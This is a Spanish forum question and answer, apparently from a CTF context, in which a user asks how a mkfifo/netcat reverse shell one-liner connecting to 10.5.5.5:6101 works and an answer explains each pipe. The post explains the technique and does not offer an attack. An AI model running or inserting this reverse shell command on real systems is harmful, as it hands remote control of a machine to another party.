Mientras hacía un desafío CTF en una plataforma, necesitaba un shell inverso pero no podía hacerlo funcionar, así que miré los procesos y encontré un código de shell inverso:
rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m
Lo que realmente funcionó, pero no puedo entender cómo funcionan las tuberías, a dónde envían datos, etc. ¿Alguien puede explicar esto?
Respuesta1
Esto configura un shell controlado remotamente en el sistema. Las entradas y salidas son las siguientes:
cat /tmp/m
lee del/tmp/m
FIFO y lo escribe en...|/bin/sh -i 2>&1
que ejecuta los comandos que lee y envía su salida (tanto salida estándar como error estándar) a...|nc 10.5.5.5 6101
que se conecta a 10.5.5.5:6101 y escribe en>/tmp/m
el FIFO.
Por lo tanto, el sistema remoto puede alimentar comandos, que se transmiten a través de nc
, se escriben en FIFO, se leen cat
, se interpretan sh
y la salida de esos comandos se envía de regreso al sistema remoto a través de nc
.